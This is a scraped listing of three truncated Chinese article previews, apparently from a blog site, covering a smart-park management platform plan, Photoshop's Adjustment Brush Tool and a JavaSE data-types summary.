智慧园区管控平台整体技术方案 1.平台概述 2.公共安全 3.物业管理 4.综合管理 5.企业服务 平台规划&#xff0c;整理技术架构搭建&#xff0c;统一门户&#xff0c;lot物联平台&#xff0c;视频云管理平台&#xff0c;GIS服务平台&#xff0c;服务器架构&#xff0c;统一身份认…

Ps:调整画笔工具

调整画笔工具 Adjustment Brush Tool可以将选区、创建蒙版和应用调整的传统工作流程合并为一个步骤&#xff0c;简化了对图像进行非破坏性局部调整的操作。 快捷键&#xff1a;B 调整画笔工具是 Photoshop 2024 年 5 月版&#xff08;25.9 版&#xff09;新增的工具。 ◆ ◆ …

JavaSE:SE知识整体总结

1、引言 历时一个多月的学习&#xff0c;已经掌握了JavaSE的知识&#xff0c;这篇博客就来做一下SE知识的总结~ 2、数据类型和变量 Java中的数据类型分为基本数据类型和引用数据类型。 2.1 基本数据类型 基本数据类型共有四类八种&#xff1a; 四类&#xff1a;整形、浮点…